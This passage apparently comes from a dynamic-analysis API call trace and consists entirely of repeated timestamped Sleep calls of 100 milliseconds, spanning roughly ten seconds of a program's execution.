Sleep (dwMilliseconds=0x64) [0239.206] Sleep (dwMilliseconds=0x64) [0239.223] Sleep (dwMilliseconds=0x64) [0239.238] Sleep (dwMilliseconds=0x64) [0239.253] Sleep (dwMilliseconds=0x64) [0239.269] Sleep (dwMilliseconds=0x64) [0239.284] Sleep (dwMilliseconds=0x64) [0239.300] Sleep (dwMilliseconds=0x64) [0239.316] Sleep (dwMilliseconds=0x64) [0239.340] Sleep (dwMilliseconds=0x64) [0239.347] Sleep (dwMilliseconds=0x64) [0239.364] Sleep (dwMilliseconds=0x64) [0239.378] Sleep (dwMilliseconds=0x64) [0239.394] Sleep (dwMilliseconds=0x64) [0239.410] Sleep (dwMilliseconds=0x64) [0239.425] Sleep (dwMilliseconds=0x64) [0239.441] Sleep (dwMilliseconds=0x64) [0239.456] Sleep (dwMilliseconds=0x64) [0239.472] Sleep (dwMilliseconds=0x64) [0239.488] Sleep (dwMilliseconds=0x64) [0239.504] Sleep (dwMilliseconds=0x64) [0239.519] Sleep (dwMilliseconds=0x64) [0239.535] Sleep (dwMilliseconds=0x64) [0239.550] Sleep (dwMilliseconds=0x64) [0239.566] Sleep (dwMilliseconds=0x64) [0239.581] Sleep (dwMilliseconds=0x64) [0239.598] Sleep (dwMilliseconds=0x64) [0239.612] Sleep (dwMilliseconds=0x64) [0239.628] Sleep (dwMilliseconds=0x64) [0239.643] Sleep (dwMilliseconds=0x64) [0239.659] Sleep (dwMilliseconds=0x64) [0239.674] Sleep (dwMilliseconds=0x64) [0239.691] Sleep (dwMilliseconds=0x64) [0239.706] Sleep (dwMilliseconds=0x64) [0239.721] Sleep (dwMilliseconds=0x64) [0239.737] Sleep (dwMilliseconds=0x64) [0239.753] Sleep (dwMilliseconds=0x64) [0239.782] Sleep (dwMilliseconds=0x64) [0239.784] Sleep (dwMilliseconds=0x64) [0239.799] Sleep (dwMilliseconds=0x64) [0239.815] Sleep (dwMilliseconds=0x64) [0239.830] Sleep (dwMilliseconds=0x64) [0239.846] Sleep (dwMilliseconds=0x64) [0239.864] Sleep (dwMilliseconds=0x64) [0239.877] Sleep (dwMilliseconds=0x64) [0239.895] Sleep (dwMilliseconds=0x64) [0239.909] Sleep (dwMilliseconds=0x64) [0239.925] Sleep (dwMilliseconds=0x64) [0239.940] Sleep (dwMilliseconds=0x64) [0239.958] Sleep (dwMilliseconds=0x64) [0239.971] Sleep (dwMilliseconds=0x64) [0239.990] Sleep (dwMilliseconds=0x64) [0240.002] Sleep (dwMilliseconds=0x64) [0240.018] Sleep (dwMilliseconds=0x64) [0240.033] Sleep (dwMilliseconds=0x64) [0240.049] Sleep (dwMilliseconds=0x64) [0240.064] Sleep (dwMilliseconds=0x64) [0240.080] Sleep (dwMilliseconds=0x64) [0240.097] Sleep (dwMilliseconds=0x64) [0240.111] Sleep (dwMilliseconds=0x64) [0240.127] Sleep (dwMilliseconds=0x64) [0240.142] Sleep (dwMilliseconds=0x64) [0240.158] Sleep (dwMilliseconds=0x64) [0240.175] Sleep (dwMilliseconds=0x64) [0240.189] Sleep (dwMilliseconds=0x64) [0240.205] Sleep (dwMilliseconds=0x64) [0240.221] Sleep (dwMilliseconds=0x64) [0240.236] Sleep (dwMilliseconds=0x64) [0240.252] Sleep (dwMilliseconds=0x64) [0240.267] Sleep (dwMilliseconds=0x64) [0240.283] Sleep (dwMilliseconds=0x64) [0240.299] Sleep (dwMilliseconds=0x64) [0240.314] Sleep (dwMilliseconds=0x64) [0240.339] Sleep (dwMilliseconds=0x64) [0240.345] Sleep (dwMilliseconds=0x64) [0240.361] Sleep (dwMilliseconds=0x64) [0240.376] Sleep (dwMilliseconds=0x64) [0240.392] Sleep (dwMilliseconds=0x64) [0240.408] Sleep (dwMilliseconds=0x64) [0240.424] Sleep (dwMilliseconds=0x64) [0240.439] Sleep (dwMilliseconds=0x64) [0240.455] Sleep (dwMilliseconds=0x64) [0240.470] Sleep (dwMilliseconds=0x64) [0240.490] Sleep (dwMilliseconds=0x64) [0240.503] Sleep (dwMilliseconds=0x64) [0240.517] Sleep (dwMilliseconds=0x64) [0240.533] Sleep (dwMilliseconds=0x64) [0240.549] Sleep (dwMilliseconds=0x64) [0240.564] Sleep (dwMilliseconds=0x64) [0240.580] Sleep (dwMilliseconds=0x64) [0240.595] Sleep (dwMilliseconds=0x64) [0240.611] Sleep (dwMilliseconds=0x64) [0240.627] Sleep (dwMilliseconds=0x64) [0240.642] Sleep (dwMilliseconds=0x64) [0240.659] Sleep (dwMilliseconds=0x64) [0240.673] Sleep (dwMilliseconds=0x64) [0240.689] Sleep (dwMilliseconds=0x64) [0240.704] Sleep (dwMilliseconds=0x64) [0240.720] Sleep (dwMilliseconds=0x64) [0240.735] Sleep (dwMilliseconds=0x64) [0240.752] Sleep (dwMilliseconds=0x64) [0240.767] Sleep (dwMilliseconds=0x64) [0240.796] Sleep (dwMilliseconds=0x64) [0240.798] Sleep (dwMilliseconds=0x64) [0240.813] Sleep (dwMilliseconds=0x64) [0240.829] Sleep (dwMilliseconds=0x64) [0240.845] Sleep (dwMilliseconds=0x64) [0240.860] Sleep (dwMilliseconds=0x64) [0240.876] Sleep (dwMilliseconds=0x64) [0240.891] Sleep (dwMilliseconds=0x64) [0240.907] Sleep (dwMilliseconds=0x64) [0240.922] Sleep (dwMilliseconds=0x64) [0240.939] Sleep (dwMilliseconds=0x64) [0240.954] Sleep (dwMilliseconds=0x64) [0240.969] Sleep (dwMilliseconds=0x64) [0240.985] Sleep (dwMilliseconds=0x64) [0241.000] Sleep (dwMilliseconds=0x64) [0241.016] Sleep (dwMilliseconds=0x64) [0241.032] Sleep (dwMilliseconds=0x64) [0241.047] Sleep (dwMilliseconds=0x64) [0241.063] Sleep (dwMilliseconds=0x64) [0241.081] Sleep (dwMilliseconds=0x64) [0241.094] Sleep (dwMilliseconds=0x64) [0241.110] Sleep (dwMilliseconds=0x64) [0241.125] Sleep (dwMilliseconds=0x64) [0241.141] Sleep (dwMilliseconds=0x64) [0241.158] Sleep (dwMilliseconds=0x64) [0241.172] Sleep (dwMilliseconds=0x64) [0241.188] Sleep (dwMilliseconds=0x64) [0241.203] Sleep (dwMilliseconds=0x64) [0241.219] Sleep (dwMilliseconds=0x64) [0241.238] Sleep (dwMilliseconds=0x64) [0241.250] Sleep (dwMilliseconds=0x64) [0241.266] Sleep (dwMilliseconds=0x64) [0241.282] Sleep (dwMilliseconds=0x64) [0241.297] Sleep (dwMilliseconds=0x64) [0241.313] Sleep (dwMilliseconds=0x64) [0241.337] Sleep (dwMilliseconds=0x64) [0241.344] Sleep (dwMilliseconds=0x64) [0241.363] Sleep (dwMilliseconds=0x64) [0241.375] Sleep (dwMilliseconds=0x64) [0241.390] Sleep (dwMilliseconds=0x64) [0241.411] Sleep (dwMilliseconds=0x64) [0241.422] Sleep (dwMilliseconds=0x64) [0241.438] Sleep (dwMilliseconds=0x64) [0241.453] Sleep (dwMilliseconds=0x64) [0241.469] Sleep (dwMilliseconds=0x64) [0241.484] Sleep (dwMilliseconds=0x64) [0241.500] Sleep (dwMilliseconds=0x64) [0241.515] Sleep (dwMilliseconds=0x64) [0241.531] Sleep (dwMilliseconds=0x64) [0241.547] Sleep (dwMilliseconds=0x64) [0241.562] Sleep (dwMilliseconds=0x64) [0241.578] Sleep (dwMilliseconds=0x64) [0241.593] Sleep (dwMilliseconds=0x64) [0241.609] Sleep (dwMilliseconds=0x64) [0241.624] Sleep (dwMilliseconds=0x64) [0241.641] Sleep (dwMilliseconds=0x64) [0241.656] Sleep (dwMilliseconds=0x64) [0241.671] Sleep (dwMilliseconds=0x64) [0241.687] Sleep (dwMilliseconds=0x64) [0241.702] Sleep (dwMilliseconds=0x64) [0241.718] Sleep (dwMilliseconds=0x64) [0241.734] Sleep (dwMilliseconds=0x64) [0241.750] Sleep (dwMilliseconds=0x64) [0241.765] Sleep (dwMilliseconds=0x64) [0241.781] Sleep (dwMilliseconds=0x64) [0241.810] Sleep (dwMilliseconds=0x64) [0241.812] Sleep (dwMilliseconds=0x64) [0241.827] Sleep (dwMilliseconds=0x64) [0241.843] Sleep (dwMilliseconds=0x64) [0241.858] Sleep (dwMilliseconds=0x64) [0241.874] Sleep (dwMilliseconds=0x64) [0241.889] Sleep (dwMilliseconds=0x64) [0241.907] Sleep (dwMilliseconds=0x64) [0241.921] Sleep (dwMilliseconds=0x64) [0241.937] Sleep (dwMilliseconds=0x64) [0241.952] Sleep (dwMilliseconds=0x64) [0241.968] Sleep (dwMilliseconds=0x64) [0241.983] Sleep (dwMilliseconds=0x64) [0242.011] Sleep (dwMilliseconds=0x64) [0242.014] Sleep (dwMilliseconds=0x64) [0242.033] Sleep (dwMilliseconds=0x64) [0242.046] Sleep (dwMilliseconds=0x64) [0242.061] Sleep (dwMilliseconds=0x64) [0242.077] Sleep (dwMilliseconds=0x64) [0242.092] Sleep (dwMilliseconds=0x64) [0242.108] Sleep (dwMilliseconds=0x64) [0242.124] Sleep (dwMilliseconds=0x64) [0242.139] Sleep (dwMilliseconds=0x64) [0242.155] Sleep (dwMilliseconds=0x64) [0242.170] Sleep (dwMilliseconds=0x64) [0242.186] Sleep (dwMilliseconds=0x64) [0242.202] Sleep (dwMilliseconds=0x64) [0242.218] Sleep (dwMilliseconds=0x64) [0242.233] Sleep (dwMilliseconds=0x64) [0242.248] Sleep (dwMilliseconds=0x64) [0242.264] Sleep (dwMilliseconds=0x64) [0242.280] Sleep (dwMilliseconds=0x64) [0242.300] Sleep (dwMilliseconds=0x64) [0242.311] Sleep (dwMilliseconds=0x64) [0242.326] Sleep (dwMilliseconds=0x64) [0242.351] Sleep (dwMilliseconds=0x64) [0242.358] Sleep (dwMilliseconds=0x64) [0242.373] Sleep (dwMilliseconds=0x64) [0242.389] Sleep (dwMilliseconds=0x64) [0242.405] Sleep (dwMilliseconds=0x64) [0242.420] Sleep (dwMilliseconds=0x64) [0242.436] Sleep (dwMilliseconds=0x64) [0242.452] Sleep (dwMilliseconds=0x64) [0242.467] Sleep (dwMilliseconds=0x64) [0242.482] Sleep (dwMilliseconds=0x64) [0242.498] Sleep (dwMilliseconds=0x64) [0242.514] Sleep (dwMilliseconds=0x64) [0242.529] Sleep (dwMilliseconds=0x64) [0242.546] Sleep (dwMilliseconds=0x64) [0242.560] Sleep (dwMilliseconds=0x64) [0242.576] Sleep (dwMilliseconds=0x64) [0242.592] Sleep (dwMilliseconds=0x64) [0242.607] Sleep (dwMilliseconds=0x64) [0242.623] Sleep (dwMilliseconds=0x64) [0242.638] Sleep (dwMilliseconds=0x64) [0242.654] Sleep (dwMilliseconds=0x64) [0242.670] Sleep (dwMilliseconds=0x64) [0242.685] Sleep (dwMilliseconds=0x64) [0242.701] Sleep (dwMilliseconds=0x64) [0242.717] Sleep (dwMilliseconds=0x64) [0242.732] Sleep (dwMilliseconds=0x64) [0242.748] Sleep (dwMilliseconds=0x64) [0242.763] Sleep (dwMilliseconds=0x64) [0242.779] Sleep (dwMilliseconds=0x64) [0242.794] Sleep (dwMilliseconds=0x64) [0242.823] Sleep (dwMilliseconds=0x64) [0242.826] Sleep (dwMilliseconds=0x64) [0242.842] Sleep (dwMilliseconds=0x64) [0242.857] Sleep (dwMilliseconds=0x64) [0242.873] Sleep (dwMilliseconds=0x64) [0242.888] Sleep (dwMilliseconds=0x64) [0242.904] Sleep (dwMilliseconds=0x64) [0242.919] Sleep (dwMilliseconds=0x64) [0242.935] Sleep (dwMilliseconds=0x64) [0242.950] Sleep (dwMilliseconds=0x64) [0242.966] Sleep (dwMilliseconds=0x64) [0242.982] Sleep (dwMilliseconds=0x64) [0242.997] Sleep (dwMilliseconds=0x64) [0243.013] Sleep (dwMilliseconds=0x64) [0243.028] Sleep (dwMilliseconds=0x64) [0243.045] Sleep (dwMilliseconds=0x64) [0243.060] Sleep (dwMilliseconds=0x64) [0243.075] Sleep (dwMilliseconds=0x64) [0243.091] Sleep (dwMilliseconds=0x64) [0243.106] Sleep (dwMilliseconds=0x64) [0243.122] Sleep (dwMilliseconds=0x64) [0243.138] Sleep (dwMilliseconds=0x64) [0243.154] Sleep (dwMilliseconds=0x64) [0243.169] Sleep (dwMilliseconds=0x64) [0243.184] Sleep (dwMilliseconds=0x64) [0243.200] Sleep (dwMilliseconds=0x64) [0243.216] Sleep (dwMilliseconds=0x64) [0243.231] Sleep (dwMilliseconds=0x64) [0243.247] Sleep (dwMilliseconds=0x64) [0243.262] Sleep (dwMilliseconds=0x64) [0243.278] Sleep (dwMilliseconds=0x64) [0243.294] Sleep (dwMilliseconds=0x64) [0243.321] Sleep (dwMilliseconds=0x64) [0243.329] Sleep (dwMilliseconds=0x64) [0243.343] Sleep (dwMilliseconds=0x64) [0243.356] Sleep (dwMilliseconds=0x64) [0243.371] Sleep (dwMilliseconds=0x64) [0243.387] Sleep (dwMilliseconds=0x64) [0243.404] Sleep (dwMilliseconds=0x64) [0243.418] Sleep (dwMilliseconds=0x64) [0243.434] Sleep (dwMilliseconds=0x64) [0243.450] Sleep (dwMilliseconds=0x64) [0243.466] Sleep (dwMilliseconds=0x64) [0243.481] Sleep (dwMilliseconds=0x64) [0243.496] Sleep (dwMilliseconds=0x64) [0243.513] Sleep (dwMilliseconds=0x64) [0243.527] Sleep (dwMilliseconds=0x64) [0243.543] Sleep (dwMilliseconds=0x64) [0243.559] Sleep (dwMilliseconds=0x64) [0243.574] Sleep (dwMilliseconds=0x64) [0243.590] Sleep (dwMilliseconds=0x64) [0243.606] Sleep (dwMilliseconds=0x64) [0243.622] Sleep (dwMilliseconds=0x64) [0243.637] Sleep (dwMilliseconds=0x64) [0243.652] Sleep (dwMilliseconds=0x64) [0243.668] Sleep (dwMilliseconds=0x64) [0243.684] Sleep (dwMilliseconds=0x64) [0243.701] Sleep (dwMilliseconds=0x64) [0243.715] Sleep (dwMilliseconds=0x64) [0243.731] Sleep (dwMilliseconds=0x64) [0243.747] Sleep (dwMilliseconds=0x64) [0243.762] Sleep (dwMilliseconds=0x64) [0243.777] Sleep (dwMilliseconds=0x64) [0243.793] Sleep (dwMilliseconds=0x64) [0243.809] Sleep (dwMilliseconds=0x64) [0243.838] Sleep (dwMilliseconds=0x64) [0243.840] Sleep (dwMilliseconds=0x64) [0243.855] Sleep (dwMilliseconds=0x64) [0243.871] Sleep (dwMilliseconds=0x64) [0243.886] Sleep (dwMilliseconds=0x64) [0243.902] Sleep (dwMilliseconds=0x64) [0243.918] Sleep (dwMilliseconds=0x64) [0243.936] Sleep (dwMilliseconds=0x64) [0243.949] Sleep (dwMilliseconds=0x64) [0243.968] Sleep (dwMilliseconds=0x64) [0243.980] Sleep (dwMilliseconds=0x64) [0243.996] Sleep (dwMilliseconds=0x64) [0244.014] Sleep (dwMilliseconds=0x64) [0244.027] Sleep (dwMilliseconds=0x64) [0244.042] Sleep (dwMilliseconds=0x64) [0244.058] Sleep (dwMilliseconds=0x64) [0244.074] Sleep (dwMilliseconds=0x64) [0244.089] Sleep (dwMilliseconds=0x64) [0244.105] Sleep (dwMilliseconds=0x64) [0244.120] Sleep (dwMilliseconds=0x64) [0244.139] Sleep (dwMilliseconds=0x64) [0244.152] Sleep (dwMilliseconds=0x64) [0244.167] Sleep (dwMilliseconds=0x64) [0244.183] Sleep (dwMilliseconds=0x64) [0244.198] Sleep (dwMilliseconds=0x64) [0244.218] Sleep (dwMilliseconds=0x64) [0244.230] Sleep (dwMilliseconds=0x64) [0244.245] Sleep (dwMilliseconds=0x64) [0244.261] Sleep (dwMilliseconds=0x64) [0244.276] Sleep (dwMilliseconds=0x64) [0244.292] Sleep (dwMilliseconds=0x64) [0244.308] Sleep (dwMilliseconds=0x64) [0244.323] Sleep (dwMilliseconds=0x64) [0244.349] Sleep (dwMilliseconds=0x64) [0244.354] Sleep (dwMilliseconds=0x64) [0244.370] Sleep (dwMilliseconds=0x64) [0244.385] Sleep (dwMilliseconds=0x64) [0244.401] Sleep (dwMilliseconds=0x64) [0244.417] Sleep (dwMilliseconds=0x64) [0244.432] Sleep (dwMilliseconds=0x64) [0244.448] Sleep (dwMilliseconds=0x64) [0244.464] Sleep (dwMilliseconds=0x64) [0244.480] Sleep (dwMilliseconds=0x64) [0244.495] Sleep (dwMilliseconds=0x64) [0244.511] Sleep (dwMilliseconds=0x64) [0244.526] Sleep (dwMilliseconds=0x64) [0244.542] Sleep (dwMilliseconds=0x64) [0244.558] Sleep (dwMilliseconds=0x64) [0244.573] Sleep (dwMilliseconds=0x64) [0244.589] Sleep (dwMilliseconds=0x64) [0244.604] Sleep (dwMilliseconds=0x64) [0244.620] Sleep (dwMilliseconds=0x64) [0244.635] Sleep (dwMilliseconds=0x64) [0244.651] Sleep (dwMilliseconds=0x64) [0244.667] Sleep (dwMilliseconds=0x64) [0244.682] Sleep (dwMilliseconds=0x64) [0244.698] Sleep (dwMilliseconds=0x64) [0244.713] Sleep (dwMilliseconds=0x64) [0244.729] Sleep (dwMilliseconds=0x64) [0244.746] Sleep (dwMilliseconds=0x64) [0244.760] Sleep (dwMilliseconds=0x64) [0244.776] Sleep (dwMilliseconds=0x64) [0244.793] Sleep (dwMilliseconds=0x64) [0244.807] Sleep (dwMilliseconds=0x64) [0244.822] Sleep (dwMilliseconds=0x64) [0244.853] Sleep (dwMilliseconds=0x64) [0244.854] Sleep (dwMilliseconds=0x64) [0244.871] Sleep (dwMilliseconds=0x64) [0244.885] Sleep (dwMilliseconds=0x64) [0244.900] Sleep (dwMilliseconds=0x64) [0244.916] Sleep (dwMilliseconds=0x64) [0244.932] Sleep (dwMilliseconds=0x64) [0244.947] Sleep (dwMilliseconds=0x64) [0244.963] Sleep (dwMilliseconds=0x64) [0244.978] Sleep (dwMilliseconds=0x64) [0244.994] Sleep (dwMilliseconds=0x64) [0245.009] Sleep (dwMilliseconds=0x64) [0245.025] Sleep (dwMilliseconds=0x64) [0245.041] Sleep (dwMilliseconds=0x64) [0245.056] Sleep (dwMilliseconds=0x64) [0245.072] Sleep (dwMilliseconds=0x64) [0245.089] Sleep (dwMilliseconds=0x64) [0245.103] Sleep (dwMilliseconds=0x64) [0245.119] Sleep (dwMilliseconds=0x64) [0245.135] Sleep (dwMilliseconds=0x64) [0245.150] Sleep (dwMilliseconds=0x64) [0245.166] Sleep (dwMilliseconds=0x64) [0245.181] Sleep (dwMilliseconds=0x64) [0245.199] Sleep (dwMilliseconds=0x64) [0245.213] Sleep (dwMilliseconds=0x64) [0245.228] Sleep (dwMilliseconds=0x64) [0245.244] Sleep (dwMilliseconds=0x64) [0245.259] Sleep (dwMilliseconds=0x64) [0245.275] Sleep (dwMilliseconds=0x64) [0245.290] Sleep (dwMilliseconds=0x64) [0245.306] Sleep (dwMilliseconds=0x64) [0245.323] Sleep (dwMilliseconds=0x64) [0245.346] Sleep (dwMilliseconds=0x64) [0245.353] Sleep (dwMilliseconds=0x64) [0245.369] Sleep (dwMilliseconds=0x64) [0245.384] Sleep (dwMilliseconds=0x64) [0245.400] Sleep (dwMilliseconds=0x64) [0245.415] Sleep (dwMilliseconds=0x64) [0245.431] Sleep (dwMilliseconds=0x64) [0245.446] Sleep (dwMilliseconds=0x64) [0245.467] Sleep (dwMilliseconds=0x64) [0245.478] Sleep (dwMilliseconds=0x64) [0245.494] Sleep (dwMilliseconds=0x64) [0245.509] Sleep (dwMilliseconds=0x64) [0245.525] Sleep (dwMilliseconds=0x64) [0245.540] Sleep (dwMilliseconds=0x64) [0245.556] Sleep (dwMilliseconds=0x64) [0245.572] Sleep (dwMilliseconds=0x64) [0245.587] Sleep (dwMilliseconds=0x64) [0245.604] Sleep (dwMilliseconds=0x64) [0245.618] Sleep (dwMilliseconds=0x64) [0245.634] Sleep (dwMilliseconds=0x64) [0245.650] Sleep (dwMilliseconds=0x64) [0245.667] Sleep (dwMilliseconds=0x64) [0245.680] Sleep (dwMilliseconds=0x64) [0245.696] Sleep (dwMilliseconds=0x64) [0245.712] Sleep (dwMilliseconds=0x64) [0245.727] Sleep (dwMilliseconds=0x64) [0245.743] Sleep (dwMilliseconds=0x64) [0245.759] Sleep (dwMilliseconds=0x64) [0245.774] Sleep (dwMilliseconds=0x64) [0245.791] Sleep (dwMilliseconds=0x64) [0245.805] Sleep (dwMilliseconds=0x64) [0245.821] Sleep (dwMilliseconds=0x64) [0245.837] Sleep (dwMilliseconds=0x64) [0245.867] Sleep (dwMilliseconds=0x64) [0245.868] Sleep (dwMilliseconds=0x64) [0245.883] Sleep (dwMilliseconds=0x64) [0245.899] Sleep (dwMilliseconds=0x64) [0245.914] Sleep (dwMilliseconds=0x64) [0245.930] Sleep (dwMilliseconds=0x64) [0245.946] Sleep (dwMilliseconds=0x64) [0245.961] Sleep (dwMilliseconds=0x64) [0245.977] Sleep (dwMilliseconds=0x64) [0245.992] Sleep (dwMilliseconds=0x64) [0246.008] Sleep (dwMilliseconds=0x64) [0246.035] Sleep (dwMilliseconds=0x64) [0246.039] Sleep (dwMilliseconds=0x64) [0246.056] Sleep (dwMilliseconds=0x64) [0246.070] Sleep (dwMilliseconds=0x64) [0246.086] Sleep (dwMilliseconds=0x64) [0246.102] Sleep (dwMilliseconds=0x64) [0246.117] Sleep (dwMilliseconds=0x64) [0246.133] Sleep (dwMilliseconds=0x64) [0246.149] Sleep (dwMilliseconds=0x64) [0246.164] Sleep (dwMilliseconds=0x64) [0246.183] Sleep (dwMilliseconds=0x64) [0246.195] Sleep (dwMilliseconds=0x64) [0246.211] Sleep (dwMilliseconds=0x64) [0246.226] Sleep (dwMilliseconds=0x64) [0246.242] Sleep (dwMilliseconds=0x64) [0246.258] Sleep (dwMilliseconds=0x64) [0246.273] Sleep (dwMilliseconds=0x64) [0246.289] Sleep (dwMilliseconds=0x64) [0246.305] Sleep (dwMilliseconds=0x64) [0246.320] Sleep (dwMilliseconds=0x64) [0246.345] Sleep (dwMilliseconds=0x64) [0246.351] Sleep (dwMilliseconds=0x64) [0246.367] Sleep (dwMilliseconds=0x64) [0246.385] Sleep (dwMilliseconds=0x64) [0246.398] Sleep (dwMilliseconds=0x64) [0246.414] Sleep (dwMilliseconds=0x64) [0246.430] Sleep (dwMilliseconds=0x64) [0246.538] Sleep (dwMilliseconds=0x64) [0246.554] Sleep (dwMilliseconds=0x64) [0246.569] Sleep (dwMilliseconds=0x64) [0246.586] Sleep (dwMilliseconds=0x64) [0246.601] Sleep (dwMilliseconds=0x64) [0246.616] Sleep (dwMilliseconds=0x64) [0246.632] Sleep (dwMilliseconds=0x64) [0246.648] Sleep (dwMilliseconds=0x64) [0246.663] Sleep (dwMilliseconds=0x64) [0246.679] Sleep (dwMilliseconds=0x64) [0246.694] Sleep (dwMilliseconds=0x64) [0246.710] Sleep (dwMilliseconds=0x64) [0246.726] Sleep (dwMilliseconds=0x64) [0246.742] Sleep (dwMilliseconds=0x64) [0246.757] Sleep (dwMilliseconds=0x64) [0246.773] Sleep (dwMilliseconds=0x64) [0246.788] Sleep (dwMilliseconds=0x64) [0246.804] Sleep (dwMilliseconds=0x64) [0246.819] Sleep (dwMilliseconds=0x64) [0246.835] Sleep (dwMilliseconds=0x64) [0246.851] Sleep (dwMilliseconds=0x64) [0246.880] Sleep (dwMilliseconds=0x64) [0246.881] Sleep (dwMilliseconds=0x64) [0246.897] Sleep (dwMilliseconds=0x64) [0246.913] Sleep (dwMilliseconds=0x64) [0246.929] Sleep (dwMilliseconds=0x64) [0246.944] Sleep (dwMilliseconds=0x64) [0246.961] Sleep (dwMilliseconds=0x64) [0246.975] Sleep (dwMilliseconds=0x64) [0246.991] Sleep (dwMilliseconds=0x64) [0247.007] Sleep (dwMilliseconds=0x64) [0247.022] Sleep (dwMilliseconds=0x64) [0247.038] Sleep (dwMilliseconds=0x64) [0247.053] Sleep (dwMilliseconds=0x64) [0247.069] Sleep (dwMilliseconds=0x64) [0247.085] Sleep (dwMilliseconds=0x64) [0247.100] Sleep (dwMilliseconds=0x64) [0247.116] Sleep (dwMilliseconds=0x64) [0247.131] Sleep (dwMilliseconds=0x64) [0247.147] Sleep (dwMilliseconds=0x64) [0247.162] Sleep (dwMilliseconds=0x64) [0247.179] Sleep (dwMilliseconds=0x64) [0247.194] Sleep (dwMilliseconds=0x64) [0247.209] Sleep (dwMilliseconds=0x64) [0247.225] Sleep (dwMilliseconds=0x64) [0247.240] Sleep (dwMilliseconds=0x64) [0247.256] Sleep (dwMilliseconds=0x64) [0247.272] Sleep (dwMilliseconds=0x64) [0247.291] Sleep (dwMilliseconds=0x64) [0247.303] Sleep (dwMilliseconds=0x64) [0247.318] Sleep (dwMilliseconds=0x64) [0247.342] Sleep (dwMilliseconds=0x64) [0247.350] Sleep (dwMilliseconds=0x64) [0247.365] Sleep (dwMilliseconds=0x64) [0247.381] Sleep (dwMilliseconds=0x64) [0247.397] Sleep (dwMilliseconds=0x64) [0247.412] Sleep (dwMilliseconds=0x64) [0247.428] Sleep (dwMilliseconds=0x64) [0247.443] Sleep (dwMilliseconds=0x64) [0247.459] Sleep (dwMilliseconds=0x64) [0247.474] Sleep (dwMilliseconds=0x64) [0247.490] Sleep (dwMilliseconds=0x64) [0247.506] Sleep (dwMilliseconds=0x64) [0247.522] Sleep (dwMilliseconds=0x64) [0247.541] Sleep (dwMilliseconds=0x64) [0247.553] Sleep (dwMilliseconds=0x64) [0247.572] Sleep (dwMilliseconds=0x64) [0247.583] Sleep (dwMilliseconds=0x64) [0247.599] Sleep (dwMilliseconds=0x64) [0247.615] Sleep (dwMilliseconds=0x64) [0247.630] Sleep (dwMilliseconds=0x64) [0247.648] Sleep (dwMilliseconds=0x64) [0247.662] Sleep (dwMilliseconds=0x64) [0247.677] Sleep (dwMilliseconds=0x64) [0247.694] Sleep (dwMilliseconds=0x64) [0247.709] Sleep (dwMilliseconds=0x64) [0247.724] Sleep (dwMilliseconds=0x64) [0247.740] Sleep (dwMilliseconds=0x64) [0247.757] Sleep (dwMilliseconds=0x64) [0247.771] Sleep (dwMilliseconds=0x64) [0247.792] Sleep (dwMilliseconds=0x64) [0247.802] Sleep (dwMilliseconds=0x64) [0247.818] Sleep (dwMilliseconds=0x64) [0247.836] Sleep (dwMilliseconds=0x64) [0247.849] Sleep (dwMilliseconds=0x64) [0247.864] Sleep (dwMilliseconds=0x64) [0247.894] Sleep (dwMilliseconds=0x64) [0247.895] Sleep (dwMilliseconds=0x64) [0247.911] Sleep (dwMilliseconds=0x64) [0247.927] Sleep (dwMilliseconds=0x64) [0247.943] Sleep (dwMilliseconds=0x64) [0247.958] Sleep (dwMilliseconds=0x64) [0247.973] Sleep (dwMilliseconds=0x64) [0247.989] Sleep (dwMilliseconds=0x64) [0248.005] Sleep (dwMilliseconds=0x64) [0248.021] Sleep (dwMilliseconds=0x64) [0248.043] Sleep (dwMilliseconds=0x64) [0248.052] Sleep (dwMilliseconds=0x64) [0248.067] Sleep (dwMilliseconds=0x64) [0248.083] Sleep (dwMilliseconds=0x64) [0248.098] Sleep (dwMilliseconds=0x64) [0248.114] Sleep (dwMilliseconds=0x64) [0248.130] Sleep (dwMilliseconds=0x64) [0248.146] Sleep (dwMilliseconds=0x64) [0248.161] Sleep (dwMilliseconds=0x64) [0248.177] Sleep (dwMilliseconds=0x64) [0248.192] Sleep (dwMilliseconds=0x64) [0248.208] Sleep (dwMilliseconds=0x64) [0248.223] Sleep (dwMilliseconds=0x64) [0248.239] Sleep (dwMilliseconds=0x64) [0248.255] Sleep (dwMilliseconds=0x64) [0248.274] Sleep (dwMilliseconds=0x64) [0248.286] Sleep (dwMilliseconds=0x64) [0248.301] Sleep (dwMilliseconds=0x64) [0248.317] Sleep (dwMilliseconds=0x64) [0248.343] Sleep (dwMilliseconds=0x64) [0248.348] Sleep (dwMilliseconds=0x64) [0248.364] Sleep (dwMilliseconds=0x64) [0248.379] Sleep (dwMilliseconds=0x64) [0248.395] Sleep (dwMilliseconds=0x64) [0248.410] Sleep (dwMilliseconds=0x64) [0248.426] Sleep (dwMilliseconds=0x64) [0248.442] Sleep (dwMilliseconds=0x64) [0248.457] Sleep (dwMilliseconds=0x64) [0248.477] Sleep (dwMilliseconds=0x64) [0248.488] Sleep (dwMilliseconds=0x64) [0248.504] Sleep (dwMilliseconds=0x64) [0248.520] Sleep (dwMilliseconds=0x64) [0248.536] Sleep (dwMilliseconds=0x64) [0248.551] Sleep (dwMilliseconds=0x64) [0248.567] Sleep (dwMilliseconds=0x64) [0248.582] Sleep (dwMilliseconds=0x64) [0248.598] Sleep (dwMilliseconds=0x64) [0248.613] Sleep (dwMilliseconds=0x64) [0248.629] Sleep (dwMilliseconds=0x64) [0248.645] Sleep (dwMilliseconds=0x64) [0248.660] Sleep (dwMilliseconds=0x64) [0248.676] Sleep (dwMilliseconds=0x64) [0248.692] Sleep (dwMilliseconds=0x64) [0248.708] Sleep (dwMilliseconds=0x64) [0248.722] Sleep (dwMilliseconds=0x64) [0248.738] Sleep (dwMilliseconds=0x64) [0248.754] Sleep (dwMilliseconds=0x64) [0248.769] Sleep (dwMilliseconds=0x64) [0248.785] Sleep (dwMilliseconds=0x64) [0248.801] Sleep (dwMilliseconds=0x64) [0248.817] Sleep (dwMilliseconds=0x64) [0248.832] Sleep (dwMilliseconds=0x64) [0248.847] Sleep (dwMilliseconds=0x64) [0248.863] Sleep (dwMilliseconds=0x64) [0248.894] Sleep (dwMilliseconds=0x64) [0248.910] Sleep (dwMilliseconds=0x64) [0248.925] Sleep (dwMilliseconds=0x64) [0248.941] Sleep (dwMilliseconds=0x64) [0248.956] Sleep (dwMilliseconds=0x64) [0248.972] Sleep (dwMilliseconds=0x64) [0248.987] Sleep (dwMilliseconds=0x64) [0249.003] Sleep (dwMilliseconds=0x64) [0249.019] Sleep (dwMilliseconds=0x64) [0249.034] Sleep (dwMilliseconds=0x64) 